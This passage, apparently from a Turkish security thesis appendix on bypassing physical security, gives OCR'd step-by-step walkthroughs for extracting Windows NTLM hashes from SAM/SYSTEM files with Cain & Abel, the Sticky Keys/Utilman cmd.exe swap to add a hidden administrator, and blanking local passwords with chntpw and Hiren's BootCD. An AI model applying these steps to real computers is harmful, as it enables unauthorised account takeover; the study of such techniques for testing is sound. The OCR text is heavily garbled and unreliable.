IEEX:ET 1 I Xk

o‘ﬁ. Decoders | = Network JERE

User Name | LMPassword | <8 | NTPassword | LM Hash | N1

T~

4R M5-Cache Hashe:
g PWL files (0)
. JA CiscoI0S-MD5 H

SEKIL A.10: Cain & Abel ile Ozet Dosyalarini A¢ma
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Yukaridaki adimlar gerceklestirildikten sonra iisten 2. arag cubugunda bulunan art: iga-
reti ile ‘Add NT Hashes from’ penceresinin acilmasi saglanir. Yapilan iglem gekil A.11

iizerinde gosterilmigtir.

— File  View Configure  Tools  Help

lowemm®|+ly @/ vmeE
@ Decoders IQ Metwork Iﬂﬂ Sniffy @f’ Crackerl_ ¥
. 1

Add NT Hashes fro

| Cracker + | User Name N\ | d e
-l LM 8 NTLM Hask @ |mpart Hashes from local spstern

R NTLMv2 Hashes ( ’V I Include P d History Hash
* MS-Cache Hashe: NECIUAE Fasswaon 1stary Hasnes
- PWLfiles (1) 7 Import Hashes from a text file
- JJl Cisco I0S-MD5 H

M Cisco PIX-MD5 H; = I
- APOP-MDS Hash,
& CRAM-MDS5 Hash
4} OSPF-MD5 Hashe

b RIPv2-MDS5 Hashe I
4] VRRP-HMAC Has Boat Key (HE]
[ vNC-3DES () L
-.md D2 Hashes (0)

md pD4 Hashes (0)

Ll
.8 D5 Hashes (0) Cancel _Next -
- SHA-1 Hashes (0) \
.8 SHA-2 Hashes (0)

& RIPEMD-160 Hast | - =

5 Kerb5 PreAuth Ha ~

] T b # LM & NTLM Hashes I

111

7 Impart Hashes from a 54M datsbase
. Sk Filename

HE

SEKIL A.11: Add NT Hashes From Pencersini A¢ma

Acgilan ‘Add NT Hashes from’ penceresinden ‘Sam File Name’ kismina ‘SAM’ dosyasi

verilir. Yapilan iglem gekil A.11 iizerinde gésterilmigtir.

== Eile  View Configure Tools  Help I Ag
Wit GG ERLE | B | )%= » Bilgisayar » Cikanlabilir Disk (H:) » w | +4 ||| Ara: Cikanlab
AUTH BESET HILN 64 L,
; 5 % - [ .ﬁ' Dizenle » Yeni klasér 4
Add NT Hashes from L -
*| Ad Degistirme tarihi
£~ Import Hashes from local spstern i 4l Kitapliklar .
I™ Include Password History Hashes 1 @ Belgeler A -android_secure DLDIZ01Z02:00
i J’ . . Android 01.01.2012 02:00
- Import Hashes from a test fle ———————————————— | | e = | — J Cambridge Sozlak 28.11.201515:29
| ain = V_E:'m & o8 Cain & Abel - ca_setup 23112014 13:50
ideo
e —————— 1 | SAM 16.12.2015 02:13
i+ Impart Hashes from a SAM datsbase ————————— 1 |
] £ | | SYSTEM 16.12.2015 02:13
SAM Filename % Bilgisayar

Boot Key [HEX]

a Sistem Aynldi (C:
—a Yeni Birim (D)
- ikanlahilir Disk |

m

Cancel Nexst -» : ‘h Aj

il

~ 4 [T

=T

T
R SHA-2 Hashes (0)

Dosya Adr SAM ~ | SAM files (*%)
R RIPEMD-160 Hast

<[
%3 Kerb5 PreAuth Ha ~

| A
R IMA&NTIMHashes | [:

SEKIL A.12: Cain & Abel’e Sam Dosyasin1 Verme

‘Sam File Name’ kismimin hemen altindaki ‘Boot Key (HEX)’ kismina ise ‘SYSTEM’
dosyasi verilir. Burada ¢ikan SYSTEM degeri kopyalanarak ‘Boot Key (HEX)’ kismina

yapigtirihir. Yapilan iglem gekil A.13 iizerinde gosterilmistir.



EK-A Fiziksel Giivenligi Atlatma 92

=
File Wiew Configure
lowehBm +v B ynEBEe0®n 020

@ Decoders IQ Network Iﬁ'ﬂ Sniffer I@‘/7 Cracker L@Jmmu&lﬂ_ccmﬂ”_mm%
k_‘ef/’ Cracker | User Name | L e~ Tor 537_\ Hash
" Import Hazhes from local system
’V T Includs Password History Hashes

g LM & NTLM Hasl|
’—(" Import Hazhes fram a text file

Tools  Help

challenge Type

4R NTLMv2 Hashes (

4 M5-Cache Hashe
& PWLfiles (0)

¥ |mport Hashes from a S&M database
SAM Filename

-.JH Cisco 105-MD5 H
-] Cisco PIX-MD5 H;
-.E]p APOP-MDS5 Hash
% CRAM-MDS5 Hash
~.4fp OSPF-MD5 Hashe
~.4f RIPv2-MDS5 Hashe IH ASAM
—+f VRRP-HMAC Has |

m

- |

Boot Key [HEX)

| E
Cancel Next -

VMWC-3DES (0
MD2 Hashes (0]
MD4 Hashes (0]
MD5 Hashes (0]
SHA-1 Hashes (0)
SHA-2 Hashes (0)
RIPEMD-180 Hast
853 Kerb3 PreAuth Ha ~
4 ] +

yskey Decoder

—
|- Baoot Key [HE]

wg g g

Za g E

< m

38 LM & NTLM Hashes |
SEKIL A.13: SYSKEY Degerinin Encode Edilmesi

Next butonuna tiklanilarak islem tamamlanmig olur. Veriler {izerinde iken sag tiklayip
export secildiginde parola Ozetlerini digariya text olarak vermektedir. Yapilan iglem gekil

A .14 tizerinde gosterilmigtir.

u File View Configure Tools
(s eodmBE®m +v R L mEEaO®E 67 0
@ Decoders IQ Network Iﬂﬂ Sniffer Id’ Cracker I@ Traceroute Im Cccou I[(a-:] Wireless I%) Query I
| Cracker - Lipacoword | I NTpac T 1M Hach

4 LM & NTLM Hasl| * empty * * *empty* AAD3B435BS1404EEAAD3B435BS1404EE

Help

L NT Hash

31DECFEODIG6AES31BT3C58DTEOCOBICO

%Adminimator

..5]p APOP-MD5 Hash,
..&¢ CRAM-MDS5 Hash
..} OSPF-MDS5 Hashe
.4 RIPv2-MDS5 Hashe
¢} VRRP-HMAC Has,
! YNC-3DES (0)
"‘2‘1 MD2 Hashes (0)
..md MDA Hashes (0)
..md MDS Hashes (0)
.. 548 SHA-1 Hashes (0)
.54 SHA-2 Hashes (0)
R, RIPEMD-160 Hast
{53 Kerb5 PreAuth Ha
4 m (2

.4 NTLMv2 Hashes ( %Guegt * empty * * empty *

g MS-Cache Hashe: X sehir *empty ® - AAD3B435B51404EEAADSB435B51404EE 47BFE039A8506CD6TC524 ADSFFE4BALE

&, PWL files (0) X kerem * empty * * AAD3B435B51404EEAAD3BA35B51404EE E735DBD188563C0429F3275EB6205551

- J CiscoI05-MD5 H X sizma *empty ¥ * AAD3B435E51404EEAADIB435B51404EE 03119312E491 C990A3143A5A5B4F80DA

.. JH Cisco PIX-MD5 H| - X 0o * empty * * AAD3B435B51404EEAAD3B435B51404EE 3B1DA22B1973C0BB36D4AIBEADAERSFE

<

1

B LM & NTLM Hashes |

SEKIL A.14: Cain & Abel ile Sam

ve Sytem Dosyasindan Ozet Elde Etme
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A.5 Windows’u Repair Modunda Baslatma

Windows igletim sistemli bilgisayar: sekil A.15 iizerinde goriildiigii gibi Repair Modunda
baslatilir.

Windows Error Recovery
windows failed to start. A recent hardware or software change might be the
cause.

If Windows files have been damaged or configured incorrectly, Startup Repair
can help diagnose and fix the problem. If power was interrupted during
startup, choose Start Windows Normally.

(Use the arrow keys to highlight your choice.)

. Launch Startup Repair (recommended)

Start windows Normally

seconds until the highlighted choice will be selected automatically: 15
Description: Fix problems that are preventing Windows from starting

SEKIL A.15: Launch Start Repair Segilmesi

Daha sonra gelen ekranda sekil A.16 tlizerinde goriildiigii gibi ‘Restore’ secenegini se¢gme-

yerek ‘Cancel’” secenegine tiklanilir.

Your computer was unable to start
Startup Repair is checking your system for problems...

il Startup Repair

Do you want to restore your computer using System Restore?

Startup Repair can try to restore your computer to an earlier pointin time when it
worked correctly.

This repair will not change personal data, but it might remove some progral
were installed recently. You cannot unde this restoration.

Restore I

= Back [dexk = Cancel

SEKIL A.16: Cancel Segilmesi

Bu adimda ise agilan pencerede hata mesaji gelecektir. Sekil A.17 iizerinde goriildiigi

gibi mesajin alt kisminda “Viev Problems Details’ kismi segilir.
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=

Windows cannot repair this computer automatically

If you have recently attached a device to this computer, such as a camera or portable music
player, remove it and restart your computer. If you continue to see this message, contact
your system administrator or computer manufacturer for assistance.

(® startup Repair =0 x|
Clic
Startup Repair cannot repair this computer automatically

Sending more information can help Microsoft create solutions.

-» Send information about this problem (recommended)

=

€ |-)Dnn‘tsend |

=

£

__/ u View problem details I
-
U < Back | Finish | Cancel |

SEKIL A.17: Viev Problems Details Segilmesi

Acglan pencerenin en alt kismina ‘X : /windows/system32/enys/erof flps.txt’ tikla-

ninca text dosyasi agilir. Text dosyasinin ‘File’ kismindan ‘Save as’ secilir ve Windows

7

dosya sistemi acilir. Windows’un i¢indeki biitlin dosyalari gérmek icin ‘Files of Type

kismi ‘All Files’ yapilir. Yapilan iglem gekil A.18 {izerinde gosterilmigtir.

® Startup Repair

Windows cannot repair this computer automatically

] eroffips - Notepad

File Edit Format View Help o

Savein: I | en-lJS j (< N S 2
Name =~ |v| Date modified |v| Type
g- || eroffips 11/20,/2010 6:55... TextDocument
Recent Places

Libraries

|l;§

Computer

<
File name: I

Save as type: ITaxt Documents {*td)

Encoding: JuTra

SEKIL A.18: All Files Secilmesi

Bu iglem gerceklestirildikten sonra cmd.exe komut satirina ulagmak gerekecektir. Deva-

mindaki iglemler igin A.6 konusuna bakiniz.
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A.6 Utilman.exe ve Sethc.exe Kisayollarin Istismar:

Sekil A.19 iizerinde goriildiigii gibi Sytem32 dosyasina ulagilarak ‘sethc.exe’ ve ‘Util-

man.exe’ dosya isimleri degistirilir.

mApplications Menu |= System32 - File Manager | I--- 23.06 J |

-—

- System32 - File Manager
File Edit VWiew Go Help

@ & 4 & |5 medajroot/F88401608401232C/Windows/System32/

Warning, you are using the root account, you may harm your system.

DEVICES Sens.dll SensApi.dll SensorsApi.dll
@ | File System
- L/ L/ ./
@ | 27 GB Volume *»* *%* **
[ Floppy Disk s i girsve.dll
Rename "sethc.exe”
PLACES
& Enter the new name:
root o<
*
B Desktop I[.exe I ]
m Trash | Cancel | | Rename |
./
NETWORK A" > .0
= Network
= Browse Networ serwvdrv.dll SesseEnv.dll setbedlocale dll
7 7
o oo
SetlEinstalledDat setspn.exe
e.exe

"sethc.exe" (302.6 kB) DOS/Windows executable

SEKIL A.19: Utilman.exe veya Sethc.exe Isimlerinin Degisitirilmesi

Sekil A.20 {izerinde goriildiigi gibi ‘cmd.exe’ uygulamasinin adin ‘sethc.exe’ olarak veya

‘Utilman.exe’ olarak degigtirilir.

R b EUm S i R e S |

-

- System32 - File Manager
Fle Edit View Go Help

-« D A ‘|"ifmedlafroothSSﬂOlGOSdO1232CM|nd0wsfSystem32j

Warning, you are using the root account, you may harm your system.

DEVICES
g File System 0:0 0:0 0:0
g 27 GB Volurne clbeatqg.dil cleanmgr.exe clfs.sys
B Floppy Disk
Rename “cmd.exe"
PLACES
a Enter the new name:
root o nfg.exe
. Sl d muti\man.exe I ]
esktop
[ h b
n Tras | Cancel | | Rename |
NETWORK A et s Japi.dil
=
= Browse Network & oo
L J L2
cmcfg32.dll cmd-bak.exe
& L L
o 5 5o

"emd.exe" (302.6 kB) DOS/Windows executable

SEKIL A.20: Cmd.exe Kopyalanip Isminin Utilman.exe veya Sethc.exe Yapilmas:
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Bu iglemler sonucunda Windows igletim sistemini yeniden baglatip ‘Login’ ekranina ge-

lindiginde sol alt kogede bulunan ikona tiklaninca ‘cmd.exe’ acilmaktadir. Islem sekil

A .21 iizerinde gosterilmigtir.

BN Administrator: C\Windows'system32\ utilman.exe

Microsoft Windows [Version 6.1.76811
Copyright (c) 2009 Microsoft Corporation. A1l rights reserved.

IC:s\Windousssysten32>

“
w.

SEKIL A.21: Cmd.exe'nin Caligtirilmasi

Windows igletim sistemi komut satir1 ¢ahigtirildiktan sonra gekil A.22 {izerinde goriil-

diigii gibi ‘net user Testuser Aal23456 /add’ komutu ile ‘Testuser’ adinda ve ‘Aal23456’

poralasi olan bir kullanica eklenilir.

Bl Administrator: C\Windows'system32\utilman.exe

Microsoft Windows [Uersion 6.1.76811
Copyright (c>» 28@? Microsoft Corporation. All rights reserved.

C:xWindowshsystem32inet user Testuser Aal23456 ~add_

» Windo

SEKIL A.22: Kullanici Eklenmesi
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Son olarak olugturulan bu kullanici gekil A.23 iizerinde goriildiigii gibi ‘net localgroup

Administrators Testuser /add’ komutu ile local admin grubuna dahil edilir.

Em Administrator: C\Windows'\systern32\utilman.exe

Microsoft Windows [Uersion 6.1.76811
Copyright (c>» 28@? Microsoft Corporation. All rights reserved.

CisWindnwsssusteni?>net _nser Testuser Aal23456 Aadd
IThe command completed successfully.

C:xWindowshsystem32)net localgroup Administrators Testuser sadd_

i&. Windows 7 professiona

SEKIL A.23: Kullanicinin Local Admin Grubuna Dahil Edilmesi

Saldirinin sonucuda gergeklesen degisikligi gérmek icin bilgisayar ‘Restart’ yapilarak ye-

niden baglatilir. Sekil A.24 {izerinde goriildiigii gibi sadece iki kullanici mevcuttur.

Restart

Hibernate

Shut down

. Windows 7 Profession o™

SEKIL A.24: Bilgisayarin Restart Edilmesi

Bilgisayar acilinca gekil A.25 {izerinde goriildiigi gibi olugturulan ‘Testuser’ kullanicisi

sisteme eklenmigtir.
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SEKIL A.25: Testuser Kullanicist ile Girig Yapilmas:

A.7 Hirens Boot ile Parola Sifirlama

Sekil A.1 iizerindeki adimlar: uygulayarak hedef bilgisayar1 BIOS boot ayarlarindan Hi-
rens BootCD, CD veya USB bellek ile agilacak gekilde ayar1 yapilir. Ac¢ilan pencerede
ise gekil A.26 tizerinde goriildiigii gibi ‘Offline NT'/2000/XP /Vista/7 Password Changer’

secenegi secip Enter’a basilir.

Hiren's BootCD 15.2 GRUB4D0SA.4.5c28121882 638K-1589M
Boot From Hard Drive (Hindows Vista-7/2888 or Xp)

Mini Hindows Xp
Dos Programs
Linux based rescue environment (Parted Magic 2812-18-18)

Windouws Memory Diagnostic

MerTestB6+

p0f{1ine NT/2608/XP/Vista 7 Password Changor |
Kon-boot

Seagate DiscHizard (Powered by Acronis Trueimage)

PLoP Boot Manager

Smart Boot Manager 3.7.1

Fix "NTLDR is Missing”

Darik’s Boot and Muke (Hard Disk Eraser)

Custom Menu... (Use HBCDCustomizer to add your files)
More. ..

Hindows Password Reset 2811-85-11

SEKIL A.26: Password Changer Secilmesi

Sonraki adimda ise yine Enter’a basilarak devam edilir. Burada linux ¢ekirdek yiiklemeleri

yapilmaktadir . Yapilan iglem gekil A.27 iizerinde gosterilmigtir..

Press ENTER to boot, or give linux kernel boot options first if needed.|
SomMe that I have to use once in a while:
: noush to turn off USB if not used and it causes problems
irgpoll if some drivers hang with irq problem Messages

vga=ask if you have problems with the videomode
: nodrivers skip automatic disk driver loading

SEKIL A.27: Sonraki Adima Gegilmesi igin Enter’a Basilmas:
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Bu adimda ise hangi disk segilmesi istenmektedir ve hedef bilgisayarin diski segilir. Select

kismina 2 yazilarak Enter’a basip devam edilir. Yapilan iglemler sekil A.28 iizerinde

gosterilmigtir.

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*:

lx)

L]
10l P Sl NH! -

0w

B Petter N _Hagen -— nordahlEFeunet . no
ense, see files on n

11 enable vou to change or blank the
dnlnlstrat r) on an Hindows NT-/2ksX

EY
sableg accounts also supported.

try editor, and there is now support for
keys and values.

Horkstatlon
SP

P3
c
i

. Server,
4_“cannot change AD.
ha

ha nge AD passuwords) -
T, erver 28098 32+64 bit

st, press SHIFT-PGUP/PGDOMN

n
and 64

defaults OK 4Just press enter
through the questlons

Select disk where the Hindows installation_is

devssda: 26.8 GB. 26843545689 bytes

idate Hindows partitions found:
sdevs/sdal 18A8MEB EOOT
sdevssdaz 23498MB

ease s$lect partition by number or
= quit
automatically start disk drivers
lect d k drivers to load
rivers from floppy / ush
ons found R
‘HWindows (NTFS) partitions only

Sjun
Al =

SEKIL A.28: Hedef Bilgisayar Diskinin Segilmesi

Bu iglemde dosyaya yazilip yazilmamas: sonucunda olusabilecek riskler belirtilmektedir.

Y’ yamlarak devam edilir. Yapilan iglem gekil A.29 {izerinde gosterilmigtir.

everal steps to_go thr
select with optional loadlng of disk drivers
where are the Mindows svstems files stored
1 what parts of registry we nee
inally the password change or re 1sfrv edit itself
hanges were made, write them back o sk

DOM*T PANICY Usuallv the defaults are 0OH, just press enter
11 the way through the questiowns

NREETET

indow

ks
k rdeuvssda’ 26.8 CGBE, 2684354568080 bytes

ndidate Mindows partitions found:
Adeussdal i8@ME EOOT
H Adevssda 25498MB

ase sglect partition by number or
ui
automatically start disk drivers
manually select disk drivers to_load
Totch additional driyers from floppy # ush
show all” partitions found
chow prgrbable Windows (NTFS) partitions only
select: L1 2

Selected 2

Mounflng from sdeuvssdal,
s really check if

(el -1-]
nn

-]
R ]

wi
i

Ihe disk coutaips an unclean
Yes dirty

sfen has not _been shut down PrDPerIV'
iz _to shut down twice i ro from wi
v _this again

that is wmnot possible vou can force changes, but there
a small risk of loslng some newly change files

vou wish to force it? (ws/wnd) [nl|w_

SEKIL A.29: Dosya Sistemi Mesaji

‘SAM’ dosyasinda parola 0zetini varsayilan yapacagimizdan gekil A.30 {izerinde goril-

diigii gibi Enter’a basilarak devam edilir.
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Disk sdevssda: 26.8 GEBE, 26843545600 bytes

Candldate Hindows partitions found:
Adevssdal i8@ME EOOT
2 Adevssdaz 25498HMB

Please select partition by number or

autnmatlcallv start disk drivers
m manually elect disk driwvers to_ load
£ fetch addltlonal d rivers from floppy ~ ushb
a = show all E artitions found
show grop able Hindows (NTFS5» partitions only
Selecf

Selected 2

Nounflng from sdevssdaz, with assumed filesvystem type HTIFS
s really check £ it is MNTFS?

diSk contains an unclean file system (8@ ay.
u

Th% system has mnot been shut down prorerl

i r
ES is to shut down twice in a row from ulndous
then try this again

that is wmnot prossible vou can force chan es. but there
1 risk of loslny some newly change les

Do vou wish to force it? {(y¥Am) [nl vy

Uslng the forge.
Mounting it. This may take up to a_few minutes:

contains an unclean file syste @ )
The FiT6 S9LIZAT0aln ¥ 2dFaT, TA18-2%° 58 uiRa0ud ] Fixing.

Success

system3d2 found as System32
config found as config . .
found correct case to be: Hindows/System32/config

ath_to the reglsfrv directory? {(relative to windows disk)
ten32 configl

SEKIL A.30: Kayit Defterindeki Dosya Yolu Dogrulugunun Kontroli

Bu adimda ise hangi iglemin yapilmasi istenmektedir. Parola sifirlanacagindan 1. secenek
secilerek gekil A.31 iizerinde goriildiigii gibi devam edilir.

is a small risk of losing sone newly changed files

Do you wish to force it? (v/m) [nl v

Usin g the force..

Moun l“ﬂ ay take up to a minutes:

The contalns an unclean file svstem (9, 8y .
The flle system wasn’t afely closed on Mindows. Fixing.

Success?

indows found as Hindows

to be! Hindows/sSystemn3Z2/config
¥ath to the registry directory? (relative to windows disk?
s

em32sconfigl
Hindows found as Nlnduws

te

i{6ccedZed-6edl
{6ccedZed-6edl
{Bccedzad Eedl

D RERRNRS GG

H BUUNNCNSEE0NS RSN
28

(==
a8 S888 89
N

[
HPEARRNEESREESR R

0 SUQWEUNNEESOSU WA

RRE R
SESSSSSSSrarars
ol

Arwxrwxrux

2
8
2
2
a
2
a
a
2
2
B
a
3
a
2
2
e

a ss

-
=

Select which part of reglstry tD l
- Passwu d reset [sam SYE tem Se
=2 Recnuervcunsole rarameters L[so

?1] g‘i‘ return to prewious

SEKIL A.31: Password Reset Secilmesi

Bu adimda da gekil A.32 {izerinde goriildigi gibi 1. secenek segilerek igleme devam edilir.
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TR WM i 8
A X W i 8
AW W W i 8

Select whlch part of registry to
list e files with sSpace as de
assword reset [sam system sec
RecoveryConsole parameters [so
it - return to previous

ected files: sam system

secu
ving sam system security to

H
b

[Cl=1"
LT T T Tt

[Cl=1"

o
H
R
F
u
H
R
F
u
H
R
F
u

D=0¢ D=0¢ 0=0¢
AbEd ADED Al El A+

[Cl=1"

* SAM pol
ailed logins before lockout

Minimum password length

Pacsword history count

icy limits

<> <> chntpw Main
Loaded hives:
i - Edit

a - Reglsfrv editor, mow with
qa - Quit (you wlll be aske

user data and passwords

Hhat to do? [11 -—->|41_

if there

ning

unused'

ndowsisystem32hconfi
ndexing_+t is: GB

ain

Interactive Menu
<{SAM> {(SYSTEM> <(SECURITY>

full write sup
is some

es, unused:

duws\svstem32\cnnf1 ASE
indexing tvp G

g S5 _pa 1
unused' 8/4343 blocks/

systemprofile

choices

TR

ing 25 age
s/bvfes

TY>
e £

~

header

AMawE ruwD e
MB i =i I 00

"

{>=

ort?

hing to savel

SEKIL A.32: Edit User Data and Passwords Segilmesi

Bu adimda ise hedef bilgisayarda var olan kullanicilar listelenmektedir. Hangi kullanicinin

parolast sifirlanmak isteniyorsa gekil A.33 iizerinde goriildiigi gibi o kullanicinin adi

yazilip Enter’a basilir.

MEX~ S\OXR NEX
@O O00 JEES
MN=DN D003 Mo

cy limi
luglns befure lockout
mum password length
word history count
<* chnitpw Hain
Loaded hives:
i - Edit

a - HE 1§try edi
2 - Quit Cyou“wil

now with

tor,
1 be asked if th

Hhat to do? [11 -> 1

chntpw Edit User

Username --
Administrato

burak

Guest

Kerem

nesut

Sehir

- ISEEEE
Wi | LR LR
i) | 101D 1D Ml izt
3 & | Dy e

- st users,
he username

et
StemBDDf\SVStEmSZ\Cunfl
indexing

t e is:
yP €+ 1 head

lduus\svstem32\cunflg
ndexing_1t

faining 29
tes, unused:

ning

=
e /1303 bluckss
E3
i

ages +

age
Z205-6828 s/bytes

unused'

Interactive Menu
<SAH> <SY¥STEM» <SECURITY>

user data and passwords

Info & FPasswords

to change:

<r=

full write sup
here is

Sume¥h1n9 to sawvel

SEKIL A.33: Parolas: Sifirlanacak Kullanicinin Yazilmasi

Bu adimda yapilacak iglem parolay: silmek oldugundan gekil A.34 {izerinde goriildiigii

gibi 1. secenek secilip devam edilir.
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Edit user data and passwords

Begistry editor; now with full write support?
Auit (you will bhe asked if there is something to save)

Hhat to do?

chntpw Edit User Info & Passwords

- s Ysername
Administrato

burak

Guest

kerem

mesut

Sehir

- wi - list users, Bx{RID>»
enter he username to change: L

1902 [B3eal
kerem
homedir

rou
rs (uhlch Fas members)
inistrato (uhlch has 3 members)

8x8218 )
N Homedir rea. 1 Passwd not rea.
duplicate x 3 HHS account
trust ac H : ot Srv_ ftrust_act
¥ . Cunknown @x@8)>
anknown > i Enoan8nies Cunknown ©x40)

login count , while max tries is:
login count: @

o4
Ll

n S8
SEQM =T MR

=0
-]

e a1

b3
L ]

[ Bagalaiar - ] =
19

ow

er password . . .

T PASSWOIH LCALET with this on XP or Vistal
ake user an administrator)

uzerkaccnunf [probably

nowl
to user select

0
LE-F AL

SEKIL A.34: Clear (blank) User Password Secilmesi

Yapilan bu iglemler sonucunda gekil A.35 {izerinde goriildiigii gibi ‘Password cleared!’

mesaji1 verildi. Dolayisiyla parola sifirlanmigtir.

9 - Quit (you will be asked if there is something to sawvel
Hhat to do? [11 -2 1

chntpw Edit User Info & Passwords
Username
ator

burak
Guest
keren
mesut
Sehir

?ul list users, Bx{RID} - User with
en he username to chanqe [Administrator

1882 [B3eal
keren

roups:
has mnembers)
inistrators (whlch has 3 members)

Bx0218

] Homedir
1plicate X%

1

1

Passwd not_ reaq.
Hi S account

=3 trust_act

[ nknoun OxBg)
{unknown B@x48)

‘rust ac -
n’t Blr Auto =]
own Bxi Cunknown Bx2B)

gin count: 3, while max tries is:
gin count:
s
r

er Edit Menu:
(blank) user password . . .
{set new) user password {(carefu 3 this on XP or UVistal
user (make user an administy
able user_ account [eprob locked nowl
ser, back to user select

LL[al
suord cleared?

lect: 2 list users, Bx{RID} - User with BRID (hex)
r slnplv enter the username fo chanqe [Administrator] mesut_

LR P
m-

Se
F
Si
o

SEKIL A.35: Parolanin Sifirlanmasi

Eger bagka kullanicimin parolast silmek veya sifirlanmak isteniyorsa kullanici adinin ya-

zilmasi i¢in gerekli alan verilmektedir. Ya da herhangi bir iglem yapmadan gekil A.36

iizerinde goriildigii gibi ¢gtkmak igin ‘/” igareti kullanilir.
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Select:
or simp
Cannot

Select
or simp

Usernamn
Fullnam
comment
homed i

o

=

it

00 =M ~o-a
L

user password .
user passcword (careful ulth
ake user an administrato

user_ account [Prnbablv
user, back to user select

newy
ting
a
- i users, Bx{RID: - User
the userry to_change:
1d ualue CWESHAMN

1

a

M

sul., o= 1 users, Bx{RID: - User
enter the use
SHH
1i
e

£
to_change

s
5]
Do
s
5]
Do

find value <™

users, Bx{RID: -

i
r
Y
ist £

rname to change:

- suif. i
enter the us

ASPa [A1f41
Administrator

1y

this on
locked

with
L Administratorl
ma ins\Accounti\UsersiNamessai\GE>

with
ame Administratorl
ma ins\Accounti\UsersiNamessai\GE>

Us with
[Administrator

nowl

RID (hex)
a

RID (hex)
a

?ID Chex)

Built-in account for administering the computersdomain

mber of Froups:
ﬂ Hdmlnlsfrafnrs Cwhich

Bxaz211

has 3 members)

Homedir

Swd

not req.
account
trust_act

¥
Cunknown EXQB) unknoun @Ax4@)

while max tries is: 8
found. This user Prnbablv has_ a

hash fouwnd either. Sorrvy.

Edit_ Menu:
Tank) user password )
user paccuord (careful with
ke user an administrato
uSer actount Fprohably
back fo user select

iting user.
> a

ist users, Bx{RID} - User

£
he username to change!

BL
cannot change. Try

this on
locked

with
[Administrator

HNR password
login
nowl

?'“ Lhex)

EKIL A.36: Parola Sifirlama Ekranindan Cikis Yapilmas:
S $ Yap

XP or Uista)

XP or Uista)

'
with

Bu adimda yapilacak herhangi bir iglem kalmadigindan ‘q’ harfine basilarak ¢ikig yapilir.

Eger bu sekilde ¢ikig iglemi yapilmazsa bog parola ‘SAM’ dosyasina yazilmayacagindan

parola sifirlanmamaig olacaktir. Sekil A.37 {izerinde goriildiigii gibi ekrandan ¢ikig yapilir.

Pud

BT el

Loaded hives:
Edit

a - RE lStPV edi
Quit

1 -

a -

Hhat to do?

Temp .
Domain

{unknown

duplicate 1 Hormal account

trust ac 1 Hks trust act.
on’t EXE]T 1 Auto ockout

Bxilax 1 < Bx20x

H unknuwn

count: D, while max tries is:
count :
hash fuund. Thls

user Probably has_a
hash found eithe So

BL
ry, cannot change.

Edit HMenu:
user password .
user password {(careful with this
ake user an administrator
[Prubablv locked
to user selec

Bx<{RID> ser

- list users,
[Hdmlnlstrat

username to change:

<> chntpw Hain Interactive Menu

<SAHM> <{SYSTEM> <SECURITY>
user data and passwords

t?r- now with full write sup

{you wil be asked if there

[11 —->|q

Hives that have changed:
# NHame

1] <{SAM> -

oK

“Step FOUR
H =
Hriting

w3k ED

+
SAH
IT COMPLETE ¥

with

HHE acDDunt

funknown Bx48>»

HNh rassword?

Try login with

on XFP or Vistal

i =1"0 )

RI? {hex

is Sume¥h1“9 to sawvel

SEKIL A.37: Islemlerin Kaydedilerek Cikis Yapilmas:

no

Bu agamada hedef bilgisayar yeniden baglatilir ve son durum kontrol edilir.

Sekil A.38 iizerinde goriildiigi gibi agildiginda kerem kullanicisina ait parolanin sifirlan-

migtir.
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. Windows 7 Professional

SEKIL A.38: Mevcut Kullanicilar

Sonug olarak kerem kullanicisi ile gifresiz sisteme girig yapildi. Local kullanic1 ve gruplar
kismindan kullanicilara bakildiginda ise sekil A.38 iizerinde bulunan aktif kullanicilar

yine gekil A.39 iizerinde gorildiigi gibi bu listede mevcuttur.

File Action View Help

e 2@ = HE

E] Computer Management (Local I:éame Full Mame

4 ﬁ% %stem Tools i Administrator
[ Task Scheduler -
i 2] Event Viewer
[» g&| Shared Folders t
a @ Local Users and Groups = kerem |
| Users| %‘Lﬂ
= Groups by Sehir
3 @ Performance
= Device Manager
4 E Storage

= Disk Management
3 fy Services and Applications

SEKIL A.39: Local User’daki Mevcut Kullanicilar

A.8 CHNTPW ile Parola Sifirlama

Hedef bilgisayara fiziksel yontemlerle ulagilabildigi 6nceki konularda anlatilmigti. Burada
ise A.1 konusundaki adimlar1 uygulayarak hedef bilgisayar tak ¢alhgtir (live cd) ile agilir.
Sekil A.40 iizerinde gosterildigi gibi ‘SAM’ dosyasina ulagilir.
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File Edit View Go Help

4« © 4 & |5 /mediajroot/Fa8401608401232C/ Windov

DEVICES

R R
@ File System - -
Journal

B 27 GB Volume RegBack

B Floppy Disk
PLACES n

‘ root
COMPOMENTS.L COMPOMNENTS.L
. Desktop 0G1 0G2

m Trash

NETWORK

= Browse Network

DEFAULT.LOG2 SAM

SEKIL A.40: SAM dosyasina Ulagilmasi

‘SAM’ dosyasina sag tiklayarak 6zelliklerine girilir ve bulundugu dizin yolu kopyalanir ya

da bu dosya yolu manuel de yazilabilir. Yapilan iglem gekil A.41 iizerindegdsterilmigtir.

- SAM - Properties

RegBack

General | Emblems | Permissions

i Name: ‘ SAM |
oo

MPOMNENTS, Kind: unknown LTLOG
0G2 .
Open With: ‘ Mo application selected v|
[ITELT LBl media/root/FE8401608401232C/Windows/System32/config I .
Cut
Modified: Today 0 Copy
aste
Accessed: Today ESE
in Delete
o .
Size: 262.1kB (262,144 bytes) = select All
SAM Volume: [ 27 GB Volume fuadsle

SEKIL A.41: SAM Dizin Yolunun Kopyalanmasi

Devami olan bu agamada sekil A.42 {izerinde goriildiigii gibi ‘cd /media/root/F88401232C

/Windows/System32/config’ komutu ile ‘config’ dosyasina girilir.

Terminal - root@kali: ~

File Edit \iew Terminal Tabs Help

SEKIL A.42: SAM Dizinine Girilmesi

Bu asamada ise ‘chntpw -u Administrator SAM’ komutu ile Administrator kullanicisinin

parolas: sifirlanacaktir. Yapilan iglem gekil A.43 iizerinde gosterilmigtir.
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Terminal - root@kali: /media/root/F88401608401232C/Windows/System32/config

File Edit View Terminal Tabs Help

# chntpw -u Administrator SAM

SEKIL A.43: Parolas1 Sifirlanacak Kullanici Tslemi

Caligtirdiktan sonraki agamada ise gekil A.44 {izerinde birka¢ secenek sunmaktadir. Bu
seceneklerden ilki parola silme ic¢in kullanilir. Bu yiizden gekil A.44 iizerinde goriildiigi

gibi ilk secenek secilerek Enter’a basilir.

(not installed,
-> 0 T:
-1 -> Not Set (0K if this is NT4)

D [01F4]
dninistrator
Built-in a

member of 1 g
\dministrators

not reqg.

- User Fdit Menu:
this on XP or V
1 already]

=1

SEKIL A.44: Parola Silinmesinin Segilmesi

